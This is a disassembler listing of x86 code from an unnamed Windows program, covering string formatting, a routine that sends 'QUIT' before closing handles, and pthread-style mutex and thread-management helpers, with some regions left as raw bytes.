		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42F9A7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9A7:				; CODE XREF: ___:0042F99Aj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_511A6C
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4474B8
		push	ecx
		call	edi
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42F9E8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9E8:				; CODE XREF: ___:0042F9DBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4476BC
		push	eax
		call	edi
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FA44
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4476B4
		push	esi
		nop
		call	near ptr 77C41B72h
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42FA44
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42FA44:				; CODE XREF: ___:0042FA07j
					; ___:0042FA28j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FAA0:				; CODE XREF: ___:004013C0j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42FAD0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FAD0:				; CODE XREF: ___:0042FAC5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476C8
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42FB0B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FB0B:				; CODE XREF: ___:0042FAFBj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB70	proc near		; CODE XREF: sub_4016B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
sub_42FB70	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBA0:				; CODE XREF: ___:004016D1j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBD0:				; CODE XREF: ___:0040149Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	esi, dword_511A6C
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476E0
		push	eax
		call	esi
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FC69
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_4476D4
		push	edx
		call	esi
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FC69:				; CODE XREF: ___:0042FBF1j
					; ___:0042FC0Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FCB0:				; CODE XREF: ___:00401C7Bj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42FCD9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FCD9:				; CODE XREF: ___:0042FCD0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_4476EC
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD30	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42FD69
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42E490
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_511AD0
		push	ecx
		call	edi
		push	esi
		call	edi
		add	esp, 8
		pop	edi


loc_42FD69:				; CODE XREF: sub_42FD30+Aj
		pop	esi
		retn
sub_42FD30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FD80:				; CODE XREF: ___:004021C1j
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42FD90
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FD90:				; CODE XREF: ___:0042FD87j
		push	1Ch
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		test	eax, eax
		jnz	short loc_42FDA6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FDA6:				; CODE XREF: ___:0042FD9Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE00:				; CODE XREF: ___:0040151Ej
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE19
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FE19:				; CODE XREF: ___:0042FE10j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE50:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42FE75
		test	eax, eax
		jz	short loc_42FE75
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42FE75:				; CODE XREF: ___:0042FE64j
					; ___:0042FE68j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEA0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FEB9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FEB9:				; CODE XREF: ___:0042FEB0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42FECD
		cmp	eax, 1
		jz	short loc_42FECD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FECD:				; CODE XREF: ___:0042FEBFj
					; ___:0042FEC4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEF0:				; CODE XREF: ___:00401519j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF10:				; CODE XREF: ___:00401834j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF30:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF49
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF49:				; CODE XREF: ___:0042FF40j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF70:				; CODE XREF: ___:00402207j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF89
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF89:				; CODE XREF: ___:0042FF80j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFB0:				; CODE XREF: ___:004019B0j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFE0:				; CODE XREF: ___:004019ABj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_430002
		dec	eax
		jz	short loc_42FFF2
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FFF2:				; CODE XREF: ___:0042FFEAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_430002:				; CODE XREF: ___:0042FFE7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430020:				; CODE XREF: ___:00401C1Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_4300BB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_4300BB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_4300B2
		mov	eax, [esp+14h]	; DATA XREF: ___:off_444E88o
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		jmp	short loc_430062
; ---------------------------------------------------------------------------


loc_430060:				; CODE XREF: ___:00430054j
					; ___:0043005Aj
		xor	eax, eax


loc_430062:				; CODE XREF: ___:0043005Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4300A8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43009F
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43009F:				; CODE XREF: ___:00430097j
		push	edi
		call	sub_401690
		add	esp, 4


loc_4300A8:				; CODE XREF: ___:00430082j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4300B2:				; CODE XREF: ___:0043004Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4300BB:				; CODE XREF: ___:00430029j
					; ___:00430035j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430100:				; CODE XREF: ___:0040220Cj
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_430168
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_430168
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43015E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43014F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43014F:				; CODE XREF: ___:0043013Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch


loc_43015E:				; CODE XREF: ___:0043012Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430168:				; CODE XREF: ___:0043010Aj
					; ___:00430111j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301A0:				; CODE XREF: ___:004017A3j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_430254
		mov	esi, [eax]
		test	esi, esi
		jz	loc_430254
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 277089Dh
		test	eax, eax
		jnz	short loc_4301E7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_430234
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_402068
		add	esp, 8
		mov	esi, eax
		jmp	short loc_430230
; ---------------------------------------------------------------------------


loc_4301E7:				; CODE XREF: ___:004301C8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_43020B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_43020D


loc_43020B:				; CODE XREF: ___:004301F7j
		xor	ebx, ebx


loc_43020D:				; CODE XREF: ___:00430209j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_430230
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8


loc_430230:				; CODE XREF: ___:004301E5j
					; ___:0043021Fj
		test	esi, esi
		jnz	short loc_43024E


loc_430234:				; CODE XREF: ___:004301D2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_5103C8	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_43024E:				; CODE XREF: ___:00430232j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430254:				; CODE XREF: ___:004301A7j
					; ___:004301B1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430290:				; CODE XREF: ___:00401F6Ej
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4302B3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4302B3:				; CODE XREF: ___:004302A2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4302E0:				; CODE XREF: ___:00401A87j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_430301
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_430301
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430301:				; CODE XREF: ___:004302E9j
					; ___:004302EFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430320:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43033D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43033D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43033D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43033D:				; CODE XREF: ___:00430326j
					; ___:0043032Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430360:				; CODE XREF: ___:00401636j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43038A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43038A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43037E
		test	eax, eax
		jnz	short loc_43038A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43037E:				; CODE XREF: ___:00430375j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43038A:				; CODE XREF: ___:00430366j
					; ___:0043036Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4303A0	proc near		; CODE XREF: sub_401415j
		push	esi
		push	edi
		call	sub_4012E4
sub_4303A0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 340199E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 34033FE8h, 0B4E85302h
		dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_430460:				; CODE XREF: ___:00402261j
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 3400D9E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 34027FE8h, 0F4E85702h
		dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401D02j
		push	esi
		push	edi
		call	sub_4012E4
sub_430520	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 3BE89050h, 85023400h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
		dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_4305A0:				; CODE XREF: ___:00401D39j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_4306D9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4305DB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4305DB:				; CODE XREF: ___:004305CCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A64
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402248
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_4306B2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_4306B2
		cmp	[esi+0Ch], ebp
		jge	loc_4306C5
		test	edi, edi
		jz	short loc_430644
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_430644:				; CODE XREF: ___:00430619j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 2760B28h
		push	0
		push	edi
		nop
		call	near ptr 2770586h
		cmp	eax, 102h
		jnz	short loc_4306D2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		call	near ptr 2760D3Ah
		nop
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_430750
		push	ecx
		push	edi
		nop
		call	near ptr 2770000h
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		call	near ptr 2770282h
		nop
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4306B2:				; CODE XREF: ___:004305FDj
					; ___:00430608j
		cmp	[esi+0Ch], ebp
		jge	short loc_4306C5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 2770399h
		test	eax, eax
		jnz	short loc_4306C9


loc_4306C5:				; CODE XREF: ___:00430611j
					; ___:004306B5j
		mov	[esp+10h], ebp


loc_4306C9:				; CODE XREF: ___:004306C3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_4306D2:				; CODE XREF: ___:0043065Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_4306D9:				; CODE XREF: ___:004305BFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430750:				; DATA XREF: ___:00430680o
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430770	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_401190
sub_430770	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_4307AE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_43079C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_43079C
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_43079C:				; CODE XREF: ___:0043078Bj
					; ___:00430791j
		mov	edx, [esi+8]
		mov	eax, dword_5103B8
		push	edx
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4307AE:				; CODE XREF: ___:00430783j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4307E0	proc near		; CODE XREF: sub_401663j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_5103B8
		push	edx
		call	sub_401190
sub_4307E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430830	proc near		; CODE XREF: sub_401B63j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510900
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430864
		push	esi
		push	ecx
		call	sub_40154B
		add	esp, 8
		mov	esi, eax
		push	offset dword_510900
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430864:				; CODE XREF: sub_430830+17j
		test	eax, eax
		jnz	short loc_43086D
		mov	esi, 16h


loc_43086D:				; CODE XREF: sub_430830+36j
		push	offset dword_510900
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_430830	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: ___:0040211Cj
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_4308C3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
